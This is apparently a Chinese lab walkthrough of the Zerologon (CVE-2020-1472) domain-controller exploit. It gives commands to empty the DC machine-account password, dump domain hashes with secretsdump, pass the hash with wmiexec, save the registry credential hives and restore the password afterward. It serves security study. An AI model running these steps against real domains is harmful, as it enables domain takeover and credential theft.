【CVE-2020-1472域内提权漏洞】

一、漏洞简介

2020年8月11号,微软修复了Netlogon特权提升漏洞,2020年9月11日,安全研究员Secura发布了公告,阐明了漏洞细节,之后相关的EXP也就被构造出来。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。

二、漏洞环境搭建

域控:windows server 2008 R2,IP:192.168.162.129

攻击机:KALI,IP:192168.162.130

使用的工具:

CVE-2020-1472攻击exp:
https://github.com/VoidSec/CVE-2020-1472

impacket网络协议工具包:
https://github.com/SecureAuthCorp/impacket/

三、漏洞复现

3.1 运行EXP

python3 zerologon_tester.py 域控主机名 域控IP
python3 zerologon_tester.py DC08 192.168.162.129

net group "Domain Controllers" /domain
ping a.com

【CVE-2020-1472域内提权漏洞】_第1张图片

  • -n:指定域控计算机主机名;
  • -t:指定域控ip;
  • 运行exp,确定把域控机器账户密码置换成空 。
python3 cve-2020-1472-exploit.py -n DC08 -t 192.168.162.129

【CVE-2020-1472域内提权漏洞】_第2张图片

3.2 获取hash

这个步骤是用空密码dump域控上的hash,首先找到之前下载的impacket的文件夹,找到examples文件夹进入,在examples文件夹下打开命令行,然后使用如下语句即可。

python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass
python3 secretsdump.py a/DC08\[email protected] -no-pass

置空密码后接下来我们利用impacket网络协议工具包的secretsdump.py脚本根据DRS协议来获取相关的HASH信息。

【CVE-2020-1472域内提权漏洞】_第3张图片

找到administratorhash值将其复制(注意只要冒号后面的) DC08hash31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密码。还得到的域管administrator账户的hash6ec77abf4e1d5e5027db29d144bd8673。获取到hash之后,可以尝试进行解密,如果解密成功可以直接连接3389获得域控权限。

NTML HASH解密地址:https://www.objectif-securite.ch/en/ophcrack

【CVE-2020-1472域内提权漏洞】_第4张图片

3.3 密码复杂度过高解密失败时

如果密码复杂度高会解密失败,可以使用hash横向的工具执行系统cmd命令。
常用的工具有: wmiexec,psexec,atexec,smbexec

使用wmiexec执行cmd,输入域控管理员对应hash,域名称,域控用户名以及域控IP

payload格式:python3 wmiexec.py -hashes hash值 域名称/域控用户名@域控ip

构造payload:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e a/[email protected]

【CVE-2020-1472域内提权漏洞】_第5张图片

3.4 还原机器账户hash

如果机器账户hash长时间为空,可能会导致脱域,对内网的使用产生重大影响,因此拿到权限的第一时间需要把hash重置回去。首先获取原hash,在cmd中执行。

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

会在目标c盘根目录生成sam.savesystem.savesecurity.save文件,然后下载到本地。
在KALI上执行,没有下载文件到本地,原因未知。
可以使用其它操作系统执行,也可以使用powershell命令先上线到cs服务器,然后下载。

【CVE-2020-1472域内提权漏洞】_第6张图片

下载文件到本地后,执行如下命令,利用secretsdump.py解析保存在本地的ntml hash

~impacket/examples
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

【CVE-2020-1472域内提权漏洞】_第7张图片

红框标注的位置即为之前使用的hash

5675ea937557a144c3a9e3b684d9bd2b

使用reinstall_original_pw.pyhash进行恢复 。

python3 reinstall_original_pw.py DC08 192.168.162.129 5675ea937557a144c3a9e3b684d9bd2b

【CVE-2020-1472域内提权漏洞】_第8张图片

使用空密码再次尝试查看目标hash信息,失败,说明目标hash已成功还原。

python3 secretsdump.py a/DC08\[email protected] -no-pass

【CVE-2020-1472域内提权漏洞】_第9张图片

你可能感兴趣的:(安全,web安全)